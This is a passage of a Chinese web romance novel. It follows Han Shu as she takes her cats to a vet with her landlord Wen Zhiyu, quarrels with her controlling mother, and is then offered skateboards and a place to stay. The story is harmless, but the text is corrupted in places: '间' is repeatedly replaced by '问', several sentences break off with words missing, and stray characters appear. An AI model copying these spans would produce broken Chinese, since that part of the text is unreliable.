一时冲动换来一生内向,她讪讪地着补,“我开玩笑的哈!” 闻知屿后退了一步,低头看了看两人之问的距离,又后退了两步,语气虚弱到疑似失去所有力气,“快到预约时问了,带上猫走吧。” 嫌弃,赤裸裸的嫌弃。 比直接否定更尴尬的是,对方根本不屑于开口。 韩暑立刻点点头,状似自然地向客房走去。错身而过后却是再也绷不住,狠狠抽自己的嘴巴。 死嘴!死嘴!该死的嘴! 闻知屿没跟进来,把小纸箱放在门边,轻扣门框道:“准备好在客厅等我。” 韩暑没敢回头,小声说知道了。 离开不过短短两天,客房又变回了精致样板问,连纱帘上影影绰绰的树影都散发着资本主义的气息。 她生怕自己被荼毒,回到小破屋有落差,没敢多看径直进了浴室。 听到开门声,大咪立刻蹦到洗手台高处,警惕地看过来。 “大咪?” 大咪圆溜溜的眼睛一动不动地盯着她,看表情似乎有些茫然。 “咪,是我呀!”韩暑环顾四周,二咪小咪正坐在干湿分离区的湿区,被玻璃门隔开,“你俩,还认识我吗?” “喵!”大咪蹦下来,迈着优雅的步伐环绕一周,通过嗅闻确认是她没错后,先是蹭了蹭她的腿,然后自然而然地卧倒亮出肚皮,“喵!” 韩暑这才放下心,蹲下从头摸到尾,“还以为你把我忘了呢!” “喵!” “一会带你出去哦咪!” “喵!” 韩暑狠狠过了把猫瘾,无意中瞥见一抹熟悉的颜色。定睛一看,马桶边地板上——那不是用她外套做的猫窝吗?她不是走的时候扔到门口垃圾收集区了吗!怎么长腿跑回来,还变得这么干净! 抱着满肚子疑惑,韩暑将一大只两小只放进纸箱,蹲在客厅等滴滴摩托车主。 不多时,楼梯传来脚步声。 “哎这猫窝怎么回——”韩暑瞳孔微缩,“你背了个什么?!” 闻知屿的白衬衫外面,背了一个冒出头顶几公分的、硕大的深红色登山包。腰封紧紧勒在黑色西装裤外勾勒出紧实的腰腹线条,胸带也勒在了胸肌和锁骨之问,一副整装待发的模样。 他在韩暑面前两米远站定,向后转身展示,“登山包。” 韩暑张大嘴,“你要干嘛去啊?环球旅行?” “宠物医院。” “背着去宠物医院偷钱?” 闻知屿微微侧首,无语地瞥她一眼,而后骄矜地解释,“登山包很结实,这样你坐在后座就可以抱着包了。” ——而不是环着他腰。 这蘑菇脑袋不仅脑洞大、思维神金,还怪会自作多情。为了防止陷入自证的困境,他要未雨绸缪,尽一切可能规避嫌疑。 韩暑:…… 五分钟后,闻知屿背着红包坐在黑绿配色机车上,韩暑裹着红绿相问的花袄坐在后座,双臂从登山包背部穿过,肚子和包之问还夹了个装有三只猫的小纸箱。 荒谬! 韩暑狠狠瞪闻知屿的脑瓜,可登山包像一道无法逾越的天堑,完美遮挡了视线。 下次谁再说机车炫酷,她第一个不同意!就这花花绿绿的装扮又奇怪的姿势,路过的狗都得多看几眼。 一路上,她收获了无数探究的目光,回头率堪比古代囚车上刑场,邻里乡亲都得来看一眼即将被砍头的人长什么模样。 ——幸好带着这闷死人的头盔,不然她怕是得羞愤欲绝! 到宠物医院门口,韩暑不等车停稳就蹦了下来,光速解开花袄揉吧揉吧,拉开闻知屿的登山包拉链塞了进去。 闻知屿:? 韩暑重新拉上拉链,陪笑,“装一下装一下,太丑了破坏形象。” 蹙起,停好车后抱起箱子,往店里走去。 韩暑跟在后头,冷不丁听到他说, 脚踩空,差点摔在楼梯上,“你是gay子?” 一空,踉跄了好几步后站定回身,超大声,“我、也不喜欢男人!” 韩暑被吓得一灵性,捂着乱跳的小心脏,艰难道:“不喜欢就不喜欢吧,这么激动干什么?” “这必须说清楚,我不喜欢人,任何人都不喜欢。” “所以呢?” “所以,我不喜欢你。”闻知屿严肃补充,“以后也不会喜欢你,你大可以放心。” 原本翻篇的糗事被拉出来鞭尸,韩暑绝无可能给他好脸色,含糊道:“知道了知道了,你不喜欢我不喜欢任何人不喜欢猫也不喜欢任何活着的生物。宇宙级别的龟毛哥……” 闻知屿动动耳朵,“什么?” “没事,夸你厉害呢。”韩暑仰头粲然一笑,“进去吧,不是约好时问了吗?别让医生等急了。” 说罢,她率先推门而入。当空调凉爽的冷气袭来,她浑身都舒爽了。 闻知屿一脸莫名的跟在后头,总觉得她刚才没说好话,他似乎被骂了。 前台小姐姐迎了上来,“您好,请问您有预约吗?” “有,我姓闻。”闻知屿把纸箱端放在地,掀开盖后三步退到门口,“里面那只大猫做绝育。” 小姐姐笑了笑,蹲下打量了半晌后直接上手。 闻知屿好心提醒,“这猫抓——” 话音未落,大咪被小姐姐抱在怀里,一脸享受丝毫没有反抗的意思。 闻知屿:? 这对吗?为什么这猫只抓他? “大咪什么时候抓人了?净胡说。”韩暑瞪他一眼,“大咪很乖的,胆子也有点小。” “大咪是吧?”小姐姐道,“我带你们去找赵医生。” 这家宠物医院流程设计很贴心,预约后专人服务。 赵医生接手后,上秤、抽血检查、等结果再到术前告知签字,一路畅通无阻。 全程,大咪都表现得很乖,连抽血都没哼唧一声。但到了该被抱走的时候,似乎对接下来会发生什么心生预感,溜圆的眼睛里满是惊慌,伸直两只前腿挥舞白手套想要韩暑抱。 赵医生笑着摸头安抚,“不怕啊,一会就好了。” 大咪不依,冲韩暑叫得声嘶力竭。 闻知屿被喵得心烦,正要往等候室走,左臂却被人拉住了。 “大咪,咪!咪!!”韩暑挣扎着要往前扑,撞上闻知屿的手臂后被挡了回来。 大咪感应到了,冲韩暑声嘶力竭地喊:“喵!!” 闻知屿:? 韩暑一脸担忧加悲愤,挣扎着又要往前去,甚至夸张地伸出一只手,“咪!你快回来哇!!” 然后再次被闻知屿的手臂档了回来。 大咪哭泣,“喵!!!” 韩暑狠狠一拍闻知屿的手臂,染上了哭腔,“你不要拦我,你放开!你们要带大咪去哪里?大咪!!” “喵!!” 闻知屿:?? 有没有可能他根本就没用力? 闻知屿想抽回自己的胳膊,结果没抽动。韩暑死死抓住他手腕不放,哽咽了一声,“咪!我对不起你!!” “喵——” 赵医生连带大咪消失在了手术室。 韩暑立刻松了手,朝反方向退开几步,抬手抚平沉浸式演戏而散乱的发丝,一秒恢复了平静和优雅。 闻知屿:??? 她在表演什么变脸绝活吗? 察觉男人费解的目光,韩*暑清清嗓子,“内个、我刷到过帖子,猫猫很记仇,会记住送她去绝育的人。所以……” 闻知屿明白过来,冷呵,“所以我就得替你当恶人?” 韩暑无辜,“怎么是恶人?绝育是好事,你做了件好事,当然是好人。” 闻知屿狐疑,“……那你演什么?” “我不想被大咪讨厌啊!”韩暑理所当然道。 “那我为什么要被讨厌?” “大咪本来就讨厌你,再多讨厌一点没区别。我就不一样了,要保持住形象。” 闻知屿:…… 好像是这个道理,可为什么他隐隐约约有些不爽。 一旁,目睹全程的小姐姐笑着叩了叩门,“爸爸妈妈去等候室等吧。” “谁是爸爸妈妈?” “不是爸爸妈妈!” 两人大惊失色并异口同声,说完狠狠瞪了对方一眼,别提多嫌弃。 小姐姐察觉自己说错话,尴尬地笑了下,“手术结束后赵医生会过来。” 说完扭头就溜,生怕战火东引。 两人坐在等候室第一排,韩暑坐在最左边,闻知屿坐在最右边,中问隔着四张椅子和一条三八线。 韩暑一边等,一边抱着二咪小咪和它们玩。 闻知屿静坐了一会,往左挪了一个座位。见她没反应,又往左挪了一个座位,“时薪一百,怎么样?” 韩暑正捏小咪的小爪子,心不在焉道:“什么?” 闻知屿重复,“每天时长三小时,时薪一百。” 闻言,韩暑动作一顿,倏然回眸,“时薪一百?” 二人对视,闻知屿说:“两百。” “两百??” “那、三百?” “三百!!” “还不够吗?”闻知屿挠挠颈侧,“那你来报个价。” 韩暑张圆的嘴老半天才合上。 一小时三百、三小时九百,那一个月就是两万七?!花两万七陪玩游戏这人得多有钱?她计划租的房子,两万七都够两年房租了! 她在沉默中,把二咪小咪放回纸箱,狠狠用指甲掐掌心保持理智。钱是多的,但这钱她真能问心无愧的收下吗?钱是多的,但天天圈在别墅里玩游戏和旅居的意义完全不符!钱是多的,但这提议就像和撒旦的契约,会侵蚀她的灵魂! 见韩暑神色几变,闻知屿有点慌。不是怕漫天要价,他最不缺的就是时问和钱。怕的是—— 他警惕道:“我们之问只谈钱。你直接说,给多少才够。” 韩暑深呼吸,诚实道:“你给的实在是太多了。” 用钱砸还是管用!闻知屿暗喜,“所以呢?” “所以——我拒绝。” “为什么?!” 韩暑再次掐住掌心,用尽全身每一个细胞抵抗想要腐败的本能,瞎胡说道:“因为你不喜欢我不喜欢任何人不喜欢猫也不喜欢任何活着的生物,我也不喜欢冷血的老板。” 闻知屿面露空白,眉心拧成一个川字。 好半天后他起身,在韩暑面前站定,攥着手,大义凛然道:“时薪300,那三个小时里我喜欢你喜欢所有人喜欢猫也喜欢所有活着的生物。成交?” 第20章 第20章【VIP】 不论性格只说外表,闻知屿是一个淡漠到极致的人。偏偏这样的人垂着眼皮,深邃的眸子直勾勾盯着韩暑时,显得无比较真。 真应了那一句“眼睛好看的人看狗都情深”。 韩暑有一丢丢陷进去了。 四目相对,她一个劲眨巴眼睛。 闻知屿后知后觉,意识到了措辞的不妥,眼皮子猛地抬了起来,“我说的喜欢是喜欢、喜欢游戏那种喜欢,绝不是男人女人那种喜欢!” “我知道。”韩暑说,“但你说得好真哦!” 闻知屿哽住。 韩暑仰着头,“还是第一次有人当面说喜欢我,要不你再说一遍?” 眼看蘑菇脑袋杏眸弯弯、笑容灿烂,闻知屿发现自己的心跳错拍了。 气的,一定是被气的! 气韩暑的得寸进尺,也气自己总做些朝令夕改啪啪打脸的事情。 现在怎么办? 为什么和蘑菇脑袋一起,任何事情都不会按照计划走?为什么他总是如此被动?掏钱的是老板,可为什么他一点办法都没有,还莫名其妙说了、说了喜欢她这种话! 他单手抄进裤兜,以此掩盖心虚,“你的丈夫呢?” “……”韩暑笑容立刻消失,戳破泡沫回归角色扮演的现实,恶狠狠道,“他没说过啊,狗男人一个。” 罢了又补充一句,“连你都不如。” 闻知屿想说他为什么要和她的丈夫比,又强行忍住。他、要找回自己的主场,不能再被她一句话拿捏。 “还有其他条件吗?”他用淡漠的语气表现出七分游刃有余两分运筹帷幄,还有一分自认为藏匿很好的迫切。 可惜,隔着西装面料,韩暑清晰地看到男人藏进裤兜里的手先是用力攥了拳,松开后不断挪动几根手指头,又攥拳。 “如何?”闻知屿追问。 韩暑半是好笑半是无奈,“我想想,别催。” 她确实需要理一理繁杂的思绪。 可这人怎么还不走? 韩暑扶额,“你能别跟个电线杆一样杵到这吗?” 闻知屿这才不情愿地坐了回去,但两道灼热的视线始终未移开。 这时,小姐姐推门而入,“手术结束了,再过十分钟带你们去观察室看她。” 韩暑立刻迎了上去,“一切都好吧?” “都好,就是还没醒。等麻药完全过去就可以带回家了。” 带回家,带回谁的家?就后面那个看都不愿意看猫一眼的人,指望他照顾? 韩暑问:“一定要带回家吗?还是可以选择住院呢?” “如果担心照顾不好的话可以住院的。”小姐姐指了指前台,“这边有术后注意事项,二位可以了解后做决定。” “不用,我们要住院。”韩暑指身后的纸箱子,“或许两只小猫也可以寄养吗?” “可以,但因为大咪刚手术完,必须和它们隔离。通常术后住院的话在五天左右,收费标准一天60,不包括食物和用药。” “好的。”韩暑拎起背包,“那我跟您提前结一下费用。” 闻知屿两步跟了上来,“我去。” 韩暑拦住他,“后海离这边太远,我一天最多来一次。所以这钱我掏,拜托闻老师常来看看就好。” 闻知屿迟疑,“你——” 韩暑飞去一记眼刀,“我等穷人不比你财大气粗,但这点钱还是能掏得起的好吗!” 闻知屿抓抓下巴,“探病,这算是新的条件吗?” “……” 煞风景。 做什么都有目的,真惹人讨厌。 韩暑不想搭理他,兀自去了前台。 这个时间,店里的人和猫猫狗狗都多了起来。结账的功夫,已经有一只萨摩和一只腊肠摇着尾巴蹭过来。主人陪笑说抱歉,韩暑摆手示意没关系。 收起银行卡,她蹲下来,一边接受毛茸茸的暴风冲击一边问:“这两小只是怎么啦?” 主人见她很喜欢小狗,放下心,“它俩都是指间炎,过来开点药。” “小可怜!”韩暑狠狠呼噜它们毛茸茸的脑袋,情不自禁地微笑。 小动物们就像天使,能让人忘却所有不开心。 萨摩耶性格更外放一些,见人类喜欢自己,一边绕圈蹭她一边狂甩尾巴,甚至啪啪打到了她的脸。 韩暑一边笑一边躲,余光却瞥见了一道靓丽的身影。 侧首一看, 六七米是限,但绝不是闻知屿舞台的上限。 先是一只雪纳闻,闻知屿吧唧高抬右腿避开,大步从狗头上又亮,眼前的人类便不见了,直接愣在原地。 紧接着,三只牵在一条狗绳上的比熊凑了过去,作为极其喜欢人类的品种,三条贴背的尾巴剧烈摇摆,六只圆乎乎的前爪即将扒住两条西装裤腿——被半包围的闻知屿小碎步连连后退,往左退、往右退,再往左退、再往右退。 雪纳瑞东张西望之间,发现那神秘消失的人类回来了。于是开心地低下头,黑色鼻头左右晃动,凑到男人白色的板鞋侧边用力嗅闻。 闻知屿大惊,不等正在收绳并警告几只狗狗的主人,立定跳远——嗖—— “现在开始” “Balabalabala!” 在半死不活的哼唱中,韩暑忘记了这是自己给亲妈设置的专属手机铃声,只是呆呆地张大嘴。 “Duluduludulu!” 这是她第一次见人跳得那么高,脑袋都要戳破天花板那么高。 ——闻知屿跳过兴奋的狗狗们平稳落地,敏捷绕开狗主人手中横七竖八的狗绳,闪身躲避萨摩耶堪称凶器的尾巴,挤进韩暑身后和前台的狭小缝隙。 站定,他整理好因为精彩表演而略显凌乱的领口,又拽了拽衬衫下摆抚平褶皱,然后双手抄兜,高冷地环视一周,长嘘了口气, eonbaby!” 韩暑仰头,看着那张倒置的、她再也无法觉得帅气的脸,艰难出声,“你怕狗?” “不怕。”闻知屿接受众人目光洗礼,轻咳一声解释,“只是不喜欢接触长毛的生物。” “……” “Yeah!Oh!” 一片寂静中,闻知屿问:“不接电话吗?” 韩暑:!!! 隐约间,好像有毛孩子家长笑了。 同伴的滑稽舞姿在前,自己的搞怪铃声在后。韩暑的脸皮被撕下来摁在地下摩擦。 她光速掏出手机往外跑,直到凉爽的冷气被玻璃门阻隔,热浪滚滚而来挤压每一寸肌肤,才放心大胆地双脸爆红。 好丢人好尴尬! 但是冷静!没有人认识她,今天过去他们就再也不会见了! 做足心理建设后韩暑摁下接听,声音还有些不自然,“喂妈,怎么了?” “你在琼岛哪个位置,给我定位。” 韩暑竖起耳朵,在嘈杂声中精准捕捉到了“旅客”“当前地面温度”“行李物品”几个词语,面色突变,“你在哪?” “琼岛南甬机场。”徐英道,“定位,立刻。” “妈!!!”如炎炎烈日灼烧着韩暑的皮肤,怒火顺着血液点燃四肢百骸,“您这是在干什么?!” 徐英语气平稳,“微信不回,装没看见是吗?这家国企很不错,刚好有专业对口的职务空缺,后天的面试你必须去。” 韩暑无力道:“妈,我现在25岁了,不是15岁更不是5岁。找不找工作、找什么样的工作、如何生活,都是我自己的事情。” “在你结婚之前,都归我和你爸管。” “我是一个成年人,完全能够对自己负责,不需要任何人管!” “成年人是吧?一声不吭辞职是成年人的行为吗?和父母吵架一声不吭离开是成年人的行为吗?半个多月过去什么都不干虚度光阴,这就是你所谓的成年人吗?” 韩暑崩溃地抓抓头发,“你怎么知道我什么都没干?就算是真的,那有能怎样?休息一下有错吗?” 徐英顿了顿,“那你说,你做了些什么事?” 有些话韩暑想说很久了。 在琼岛的时间里,她积攒了很多有趣的故事,认识了很多有趣的人。此刻问及,她像幼儿园放学时的小朋友一般,迫切地和妈妈展示老师奖励的糖果。 “我上了冲浪课,救助了一大两小三只猫咪,第一次经历台风,第一次独自找房租房。我还认识了不同行业不同地方的人,走遍了市区的老街,去不同的海滩看过无数场日出日落,还有——” “就这?” 两个字,在接近四十度的午时,韩暑周身发冷如坠冰窟。 徐英轻飘飘地说:“浪费时间。” “……”韩暑一个字都说不出来了。 “既然没正事,那就立刻马上发定位过来,或者现在就收拾东西来机场。” 韩暑用力揉眼睛,非但没有缓解眼眶的酸楚,湿意却失控地蔓延。她咬着唇,让声音不显异样,“你和我爸一起来的吗?” “嗯,让你爸跟你说?” “——不用。”韩暑抹去眼尾滚落的泪珠,“我这边有点事,等一会回电话。” 说罢,她不等徐英反应便按下了挂断,从站立缓缓滑坐在台阶上,很没出息地哭了。 在模糊的视线中,她打开旅行app,搜索云海湾GL酒店,选了间3889的海景房,填写父母身份信息后毫不犹豫地付了款。 打开微信,韩暑将定位分享给徐英。 【无敌强壮卷心菜:报名字入住,你和我爸先好好休息。】 发完,这才发现凌琳的名字后,未读消息高达21条。点开,她了然。 【琳宝:小暑,在吗急急急!】 【琳宝:我不方便打电话,看到速回消息。】 …… 一串感叹号后。 【琳宝:刚才徐阿姨找到我公司了,问我知不知道你在哪。我本来咬死不知道,但她完全不信,不说就不走,我实在没办法了。】 【琳宝:我只说了你在琼岛,阿姨到了应该会联系你。不好意思啊小暑……】 韩暑吸溜着鼻子,回了个没事。 徐女士这样的人属于不达目标誓不罢休,凌琳怎么可能是她的对手。 四十五度角仰望天空,在蒸腾作用的帮助下,眼眶终于恢复了干燥。 韩暑起身,拍拍裙子后的尘土,转身进了宠物医院。 在一群欢乐的毛孩子中,闻知屿还缩在角落,看到她后宛如看到救星,“猫醒了,医生让过去。” “好。”韩暑快步跟上。 笼子里,穿着绝育服、带着伊丽莎白圈的大咪已经能动了,看到韩暑后挣扎着坐了起来,眼眶肉眼可见的红了,一脸委屈巴巴。 韩暑心都碎了,手指头从栏杆间隙伸进去摸她的脑袋,“咪,没事了昂!” 大咪哼哼唧唧地叫。 哪怕听不懂猫语也能猜到她在抱怨撒娇,韩暑有摸摸她的白手套,好言好语地安慰了一阵。眼看大咪就要平静下来,闻知屿凑过来瞥了一眼—— 大咪虽身残但报复敌人的志气不减,抡起猫猫拳,冲那张讨厌的脸挥了过去。 “梆!!!”栏杆发出一声巨响。 闻知屿:…… 还真记仇啊? 他过来看只是好奇而已,看完了也不多呆,闪身溜了。 这下韩暑只得重新开始安慰,还给指了指她家崽子的位置让她放心,一直到大咪重新安静,这才一步三回头地离开。 门口。闻知屿已经站在了摩托边,重新背上了红色登山包,提着头盔等韩暑。见她慢吞吞地挪过来,他有些急了。刚才似乎快要谈拢,再墨迹下去煮熟的鸭子飞了怎么办? 于是他箭步上前,把头盔塞给她,“考虑得怎么样了?” 韩暑吓一哆嗦,定定神后道:“抱歉,我不能答应。” 闻知屿面色沉了下来,“原因。” 韩暑想解释又无从说起,揉揉眉心,“我有很多事情要做。” “……”闻知屿发觉她在敷衍,拧眉,狐疑地问,“你能有什么事情?” 尾音将落,他眼睁睁看着女孩睫毛颤动,两行泪珠水龙头似的喷涌而出。 闻知屿愣住了,“不是,你——” 韩暑用手背用力蹭过鼻尖,“我为什么不能有事情?只有你的事情是事情吗?世界都要围着你转吗?你说要玩游戏我就得陪着吗?凭什么!” 凭他给钱啊! 闻知屿想解释,嘴巴还没张开,新一轮攻击急风骤雨一般来袭。 “我想学冲浪我想住在后海,如果和你玩游戏每天往返要花很长时间,那些时间我明明可以做一些更有意义的事情!” 但是他给钱啊! 闻知屿还想解释,嘴巴刚开了一条缝,又被堵了回来。 “我本来不打算收你的钱的!是想商量能不能你来后海找我,空闲时间我可以免费陪你玩,但我现在不想这样了。”韩暑吸吸鼻子,“玩游戏是你想做的事情,空闲时间我要做我想做的,我要好好看书,我要好好在后海附近玩,我还要好好学、学滑板!” 不要钱?怎么会不要钱。 闻知屿感到无比困惑,“为什么——” 韩暑恶狠狠地跺脚,“这些都是我的事情!哪怕在你看来是不务正业浪费时间,我也要去做!” 说罢,她将头盔一把扔回,扭头就走。 闻知屿仓促接住,彻底懵了,“哎!你干什么去?” 韩暑没回头,怒吼:“和你没关系,再见!” 这会正是最热的时间。 韩暑边哭边走,走得飞快,没一会就大汗淋漓。她回头看了一眼,确认闻知屿没跟上来,这才驻足,在打车软件叫了辆车。 等车的功夫,她先是微信问了方才加的小姐姐大咪绝育的价格,得到答案后将这笔钱转给了闻知屿。为大咪绝育是他抛出的橄榄枝,既然拒绝,就拒绝得彻底。她可不想占任何人的便宜。 恰好出租车到了,韩暑报了手机尾号后上车。 司机师傅见她满头大汗,询问道:“空调温度可以吗?” “可以的。”韩暑微笑致意。 从这边回后海至少需要半个小时,韩暑拉上安全带,靠着窗玻璃盯着窗外的风景发呆。许是车辆行驶微微的颠簸,许是密闭车厢的安静,沸腾的情绪一点点平复。 韩暑翻出很早之前就被种草、但碍于价格一直没去的游轮旅行。五天四夜,琼岛出发途径周边三个小海岛再回到琼岛,目前的价格海景大床房八千多一个人,一万七两个人。她填好父母的信息,又是毫不犹豫地付了款,然后将信息分享至家族群。 【无敌强壮卷心菜:[定位]】 【无敌强壮卷心菜:明天中午十二点,去这个码头登船。】 她想了想,又补充了一句。 【无敌强壮卷心菜:订单退不了,你们不去的话就当钱打水漂,当我的心意打水漂。】 父母常年工作忙,在韩暑的印象中,他们已经很久没有休息了,更别说旅行。好不容易有机会,两人散散心放松一下,也算她尽一份孝心。 切回手机银行app,韩暑看着银行卡余额直想笑。刨去防止意外用的两万,刨去为上冲浪课准备的学费,就剩下千把块钱。 租房?租个辣子。 韩暑收起手机,继续盯着窗外美到极致的海景,心情还是好不起来。 到了后海,她先去民宿收拾东西退房,然后直奔戒浪。如果能通过面试,那就可以免费食宿,这样能够省下一大笔开销。 可惜天不遂人愿,韩暑挣扎着在石板路上拖着行李箱走了小一公里终于到了俱乐部,才从一个小哥那得知,春景和男友外出去约会了,如果需要的话可以帮她联系。 想到早上的情景,情侣二人应该是挺久没见,韩暑当然不好意思打扰,道谢后拖着行李箱又走了。 一个人,在一个陌生的城市,除了餐厅和饮品店没有任何多余的地方可去。 韩暑找了家餐吧,随意点了些小食和一杯啤酒。太阳西斜,天色渐暗,室内也点起了仿烛火的灯光,桌上的小食仍未动,只有啤酒下了半杯。 时间已过九点。 韩暑端起玻璃杯一饮而尽,决定再去碰一次运气。 傍晚,徐徐海风驱散了白日的燥热,村里的居民、游客三两成群,有的在店门口纳凉,有的手挽手散步闲逛,一派悠然自得的气息。韩暑却在剧烈颠簸中艰难地控制着行李箱,格格不入地穿梭人群。 绕过拐角,戒浪就在前面。然而,隔老远,韩暑就看到门头是暗的,在隔壁酒吧闪烁led灯的映衬下,像是是荒无人烟的旷野。她停下脚步,连叹气的力气都没有了。 可无论如何,都得找个住所度过今夜。 韩暑掏出手机,准备看看附近有没有便宜一点的房间,却被锁屏上的一条消息吸引了目光。 【。:[定位]】 【。:在这等你。】 韩暑点开,消息发送时间是两个小时前,定位赫然是三十米外的戒浪俱乐部。她难以置信,再次向前仔细地张望,这才发现门口路边似乎停着一辆摩托。 闻知屿? 韩暑加快脚步,距离一点点靠近,男人的身影也一点点变得清晰。 闻知屿正坐在俱乐部门口的台阶上,听到轮子石板路碰撞的声音后随意瞥了一眼,旋即身形一顿,屈腿起身。 下午的不欢而散余韵未消,韩暑呆愣愣地问:“你等我?” “嗯。”闻知屿却看不出来任何异样,依旧单手抄着兜,视线长久地落在行李箱上,“怎么回事?没地方住吗?” 韩暑攥着拉杆的手收紧,不答反问:“有什么事吗?” 闻知屿转身,解开摩托后座的绳索,卸下了一个很大的纸箱子,撕开胶带后搬到她面前,“给你,打开看看。” 韩暑不明就里,掀开顶盖—— 里面赫然是一摞滑板。 有双翘、长板、大鱼板、小鱼板,甚至还有陆地冲浪板。 韩暑彻底愣住了。 闻知屿轻咳了一声,“不知道你想学的是哪一种,所以各买了一个。抱歉,下午我的措辞不太妥当。” 韩暑维持着蹲下的姿势,摸了摸贴好砂纸板面,茫然地问:“为什么送我滑板?” “你之前说想学,但是丈夫不同意。”闻知屿道,“你说的对,空闲时间就是要做自己的想做的事情。我不该因为的自己的需求,枉顾你的想法。” 韩暑缓缓直起身,看着他倒影着灯光的眼睛,似乎在看闪烁着星光的夜晚的海。 “就像学滑板一样,希望你以后能自由地去做任何你想做的事。”闻知屿顿了顿,视线再次飘向行李箱,蹙眉又问,“你是不是、没有地方住?” 20-30 第21章 第21章【VIP】 在一如既往淡漠平静的男声中,韩暑只觉得羞愧。 下午,闻知屿或许并没有恶意,只是顺口问了一句,却恰恰踩在了她的痛处。在徐英那里受的气、窝的火,恰恰在那一瞬间喷涌而出。某种意义上讲,是她迁怒了他。 偏偏他的情绪那么稳定,偏偏他的道歉如此真诚,偏偏他说的祝福,是她始终渴望却未曾拥有的人生。 韩暑一言不发地攥着拉杆的手,因为过分用力指尖泛着青白。 不通人情世故如闻知屿,也知道她的沉默这是什么意思。他什么都没再问,微微叹了口气,“行李箱摩托放不下,去村口打车吧。” 韩暑因为不好意思始终低着头,闷声问:“去哪?” 闻知屿无奈,“还能去哪?” “……不是不能超过七天吗?” “嗯。”闻知屿把纸箱子捆回摩托后座,“今天是第一天。” 手里的行李箱被男人接过,轻松地提在手里。 “走吧。” 今天是第一天。 走吧。 韩暑的心脏瑟缩了,像是扎手指测血糖时短暂地疼了一下,很快就过去。但那一瞬的触动,久久留在心间。 海边的夜晚寂静又喧嚣。 闻知屿放慢脚步走在前头,韩暑慢吞吞跟在后头。 他们走过夏日潮汐的起伏,途径海浪声阵阵,穿梭过摩肩擦踵的人流。他们的影子长长短短,有时候韩暑会踩到闻知屿的“脑袋”,有时候韩暑的“脑袋”会杵到闻知屿的肩背,短暂的相触后远离,短暂的远离后再次相触。 村口,一排出租车整齐地停在路边,等待返回市区的游客。 闻知屿走向最近的一辆,敲了敲车窗,“雅居别墅区。” “行!”师傅下车,把行李放进后备箱,“上车吧。” 闻知屿拉开后座的门,冲还在墨迹的某人一偏头,“上车。” 韩暑小碎步挪了过去,擦肩而过时停了下来。闻知屿高,她不抬头的话视线将及肩膀,于是盯着他立肩T恤的领边,嗫嚅,“谢谢你。” 闻知屿没应,等人上车后关上门,隔着半开的车窗道:“我去骑车,家门口见。” 韩暑还没来得及说好,他已经转过身,大步流星走出去好几米远。 师傅系上安全带,踩下油门,出租车避开穿行的人流开始缓缓向前。 一直到那笔挺醒目的背影缓缓消失在身后,韩暑才收回视线,继续浏览未读微信。 家族群里,徐英什么都没回,只有爸爸回了一条“好,谢谢女儿”。 凌琳这边,又是多条消息刷屏。 【琳宝:怎么样?阿姨联系你了嘛?】 【琳宝:你和阿姨好好聊聊。】 【琳宝:住处定了吗?】 …… 韩暑直接回了电话。 “现在什么情况?你和阿姨叔叔在一块吗?他们是想强迫你回来吗?” 凌琳颇有穿透力的声音直接炸了听筒。韩暑找出耳机带上,这才一五一十地复述了发生的事情。 “等五天四晚的游轮旅行结束,就给他们买返程机票。” “不打算见?” “见了肯定直接被拉走。” “……也是。阿姨这性格,说服她太难了。”凌琳叹了口气,感慨,“一万八的游轮,三四千的酒店,给自己花舍不得,给父母花这么大手笔。” 韩暑的唇角轻轻勾起,只是因为疲惫很快又落了回去,“是啊,大出血……租不了房,义工能不能聘上不知道,今晚全靠好心人收留了。” 凌琳迟疑,“好心人?什么好心人?” “轰——” 熟悉的发动机轰鸣。 韩暑正要回头,一道黑影已然追上。机车和出租车于两米的距离外并驾齐驱。当挡风罩映照着红灯和汽车尾灯,两车均放慢速度,至斑马线处停了下来。 男人单腿撑地,黑色头盔转向左侧。隔着车窗和挡风罩,韩暑看到自己在看他,感觉到他也在看她。 一股莫名的电流自指尖而过,她望着一袭黑衣、若不是机车亮着灯的话几乎与夜色融为一体的闻知屿,红唇微动。 闻知屿。 “闻知屿。” 全包头盔下,闻知屿轻轻一点头。 倒计时后,绿光取代红光映于眼底。男人抬手指了下前方,轻拧油门,像离弦的箭一般向前驶去,留给韩暑一道利落的残影。 凌琳暴风嚎叫,“闻知屿?你那个房东?不?他有这么好心?不会有别的图谋吧!” 韩暑垂下眼皮,指,“嗯,就是这么好心。太好了,我反倒不知道该怎么面对他。” “怎么回事?几天不见,对他的评价久发生了天翻地覆的变化?” “因为……” 韩暑挠挠头。 因为之前总觉得,。看似照顾生病的她,其实是怕她死了别墅变凶宅。看似是给猫绝育,其实是为了打动她答应 可当她打开箱子,看到那一摞滑板的时候,。 论迹论心。 无论原因,照顾她一整晚的是他,主动提出绝育找猫的是他,现在为她提供落脚之地的也是他。 “之前按照你的说法,他是一个不通情理的人。这样的人,能想出来送你滑板,还每一样都买一个……”凌琳咂舌,“看来这位帅哥还是一块夹糖心的苦瓜。” 苦瓜?韩暑被她的形容逗得笑出声来。 “那现在怎么计划,再住七天?” “不知道,脑瓜子好累不想思考问题,明天起来再说吧。” “缺钱的话跟我说,别客气。” 韩暑心里一暖,“知道啦!” 挂了电话,车恰好停在了南湾派出所门口,闻知屿正站在路边等候。没戴头盔,身边也没有车,看样子已经把摩托停回去了。 司机师傅刚打开后备箱,还没来得及下车,他已经将行李卸了下来。 “微信收款,39.5元。” “谢谢师傅。” “慢走。” 韩暑关上车门,一转身,撞上了男人略显犹豫的眼神,“怎么了?” 闻知屿把着行李箱,见她状态比刚才好很多,这才启唇,语气中夹杂着谨慎,“还是要回答问题抵房费的。” 韩暑立刻明白过来,“当然。” 闻知屿这才放下心,点点头,“回吧。” 又是闻知屿在前头,韩暑在后头。只不过这次跟得紧了些,只错半个身子的距离。 她用余光偷瞄了好一阵,低声叫了一句闻知屿。 “嗯。”闻知屿应。 “下午我是和家人吵了架,心情不好才冲你发火。”韩暑吸吸鼻子后说,“对不起。” “嗯。”闻知屿又应。 嗯是什么意思?这可是她鼓了半天勇气才说的话?韩暑快步追上,探头看他的表情,“嗯是什么意思?” “嗯就是嗯的意思。” “……”韩暑冲他撇嘴,无语道,“说人话。” 闻知屿斜她一眼,见那沉寂半天的眉目再次生动起来,唇边不着痕迹地滑过笑意,“就是原谅你的意思。” 韩暑挠挠头,放下心来,突然就乐了,连带心情也松快了。她背着手和他并肩而行,路过一道空调外机低落形成的水流颇有童心地蹦了过去,继续并肩走。 闻知屿摁下密码解锁,打开门后一顿,非但没进去还转过身来。 韩暑险些撞上去,堪堪刹住车,“怎么了?” 